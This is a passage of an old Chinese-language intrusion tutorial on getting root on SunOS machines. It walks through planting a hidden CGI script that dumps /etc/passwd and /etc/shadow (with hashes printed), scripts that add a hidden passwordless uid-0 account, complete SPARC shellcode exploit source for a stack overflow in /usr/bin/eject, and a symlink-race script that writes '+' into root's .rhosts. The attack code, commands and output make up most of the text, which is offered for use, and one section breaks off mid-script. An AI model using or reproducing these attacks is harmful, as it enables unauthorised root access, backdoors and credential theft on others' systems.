samsa网络入侵教程六

/ns/cn/jc/data/20010129104000.htm

五、雄霸天下(rootshell)
取得超级用户权限
1)利用错误配置
1.1) 利用cgi-bin
e.g.有一次:

$ hostname
victim.com
$ grep http /etc/inetd.conf
http stream tcp nowait root /usr/local/etc/httpd/httpd httpd
(samsa:以root来运行httpd,太玩火乐...)
$ cd /usr/local/etc/httpd
$ ls -l
total 530
drwxrwxrwx 2 http ofc 512 Dec 24 15:20 cgi-bin
drwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src
drwxr-sr-x 2 root ofc 512 Jul 2 1998 conf
-rw-rw-rw- 1 http ofc 3814 Jan 12 17:14 contact.htm
-rw-rw-rw- 1 http ofc 604 Apr 16 10:08 dm.html
drwxrwxrwx 2 http ofc 1536 Apr 9 16:51 education
-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpd
drwxrwxrwx 2 http ofc 512 Jan 12 15:06 icons
drwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images
-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htm
drwxr-sr-x 2 http ofc 512 Apr 13 08:46 logs
drwxrwxrwx 2 http ofc 512 Jan 12 17:18 publications
drwxrwxrwx 2 http ofc 1024 Jan 12 15:07 qita
(samsa:cgi-bin可写,你完了!!!)
$ cd cgi-bin
$ mkdir .hide; cd .hide
$ cat > .getps
#!/bin/sh
echo "------ passwd ------"
/bin/cat /etc/passwd
echo "------ shadow ------"
/bin/cat /etc/shadow
^D
$ chmod a+x .getps

在浏览器location栏中键入http://victim.com/cgi-bin/.hide/.getps
得到以下输出:

------ passwd ------
root:x:0:1:Super-User:/:/usr/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
leopard:x:100:20::/space/users/lpf:/bin/sh
------ shadow ------
root:W27wJyew7noIs:10710::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
leopard:5gLpBVsH5lumg:10703::::::

添加用户,取一个象系统的名字,如smnp:

$ cat >.mkusr
#!/bin/sh
cat > /etc/passwd <<EOF
root:x:0:1:Super-User:/:/usr/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smnp:x:0:1:SmNetManager:/:/usr/bin/ksh # hacker
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
leopard:x:100:20::/space/users/lpf:/bin/sh
EOF
^D
$ cat >.mksw
#!/bin/sh
cat > /etc/shadow <<EOF
root:W27wJyew7noIs:10710::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
smnp:::::::: # hacker
uucp:NP:6445::::::
nuucp:NP:6445::::::
后者通常写root主目录下的.rhosts文件,然后通过rsh成为root;

2.1) 堆栈溢出
e.g. SunOS 5.5 上的/usr/bin/eject程序处理数据缓冲区边界有误,通过使数据越
过边界,改写堆栈中函数返回地址,以使函数返回时,不跳转到调用它的地方,而是
跳转到数据区的某处,那里放着我们的代码...

------------------------- begin: eject.c --------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 364
#define EXTRA 400
#define STACK_OFFSET 400
#define SPARC_NOP 0xa61cc013

u_char sparc_shellcode[] =

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;

if(argc > 1) dso=atoi(argv[1]);

long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];

long_p = (u_long *) char_p;

for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;

printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/eject", "eject", & buf[1],(char *) 0);
perror("execl failed");
}
------------------------------ end: eject.c ------------------------------

假设你在ox上只有普通帐号,想成为root:

ox% uname -a
SunOS ox 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
ox% gcc eject.c -o ej
ox% ./ej
#

(samsa: 轻松成为root,哇!!!)

2.2) 竞争条件(race condition,or symbolic-link following)
e.g.也是SunOS 5.5上的例子,先看程序:

--------------------------- begin: uhit.sh ----------------------
#!/bin/sh

CALIB=/usr/openwin/bin/kcms_calibrate
CONF=/usr/openwin/bin/kcms_configure
PROFDIR=/usr/openwin/share/etc/devdata/profiles
SEM=Kp_kcms_sys.sem
PROFFILE=kcmsEKsony17.mon
DISP=hacker.home.edu:0.0

DISPLAY=$DISP
export DISPLAY
/bin/rm -rf /tmp/$SEM
ln -s /.rhosts /tmp/$SEM
$CALIB&
while [ 1 ]
do
echo "Click the device you've chosen in kcms_calibrate window"
$CONF -o -d $DISP $PROFDIR/$PROFFILE
if [ -f /.rhosts ]
then
echo " " >> /.rhosts
echo "+" >> /.rhosts
fi
done
--------------------------- end : uhit.sh ----------------------

其中 PROFFILE 和 DISP 两个变量是需要根据具体环境改成适当的值的.
说明一下,``kcms_calibrate''是openwin系统用来调整显示器参数的一个
程序,该程序在/tmp目录下创建一个临时文件``Kp_kcms_sys.sem'',并且是
symbolic-link following的,也就是说,如果你在该目录下创建一个同名
的符号链接,那该程序就会跟随这个符号链接,从而去操作该链接所指向的
那个文件,具体到这里,就是root的主目录下的/.rhosts,如果该文件不存
在,就创建它,并把它的权限修改成world-writable。

$ ls -l /usr/openwin/bin/kcms*
-rwsr-sr-x 1 root bin 94044 1998 7月 10 kcms_calibrate
-rwsr-sr-x 1 root bin 27752 1998 7月 10 kcms_configure
-rwxr-xr-x 1 root bin 24380 1998 7月 10 kcms_server

这一切之所以可能,正是因为``kcms_calibrate''和``kcms_configure''都是
SUID root的。
现在把过程讲一下:
第一步在你自己的机器上做,要求你必须在你自己机器的(有图形显示器的)控制
台上,且你的机器提供 X-Windows 服务,设你的机器域名为 hacker.home.edu,攻
击对象的域名为 victim.com:

# xhost +victim.com
victim.com being added to access control list

(目的是为了让在victim.con上运行的带图形界面的程序能把界面显示在你的机
器上,这样你才能控制嘛...)

第二步在对方的机器上做,要求你有普通用户帐号(废话!!).

# telnet victim.com
...
vic% uname -a
SunOS victim 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
vic% id
uid=123(hacker) gid=10(users)
vic% ls -l
-rwx------ 1 hacker users 479 1998 7月 10 uhit.sh
vic% ls /usr/openwin/share/etc/devdata/profiles/*.mon
kcmsEKappl13.mon kcmsEKgend50.mon kcmsEKp22g22.mon kcmsEKsony20.mon
kcmsEKebu18.mon kcmsEKnokia15.mon kcmsEKsony16.mon kcmsEKvs17in.mon
kcmsEKebu22.mon kcmsEKp22g187d.mon kcmsEKsony17.mon

(samsa:其中任选一个,我们选中了``kcmsEKsony17.mon'')

vic% ./uhit.sh
Click the device you've chosen in kcms_calibrate window
Call was successful.
Click the device you've chosen in kcms_calibrate window
Call was successful.
Click the device you've chosen in kcms_calibrate window
...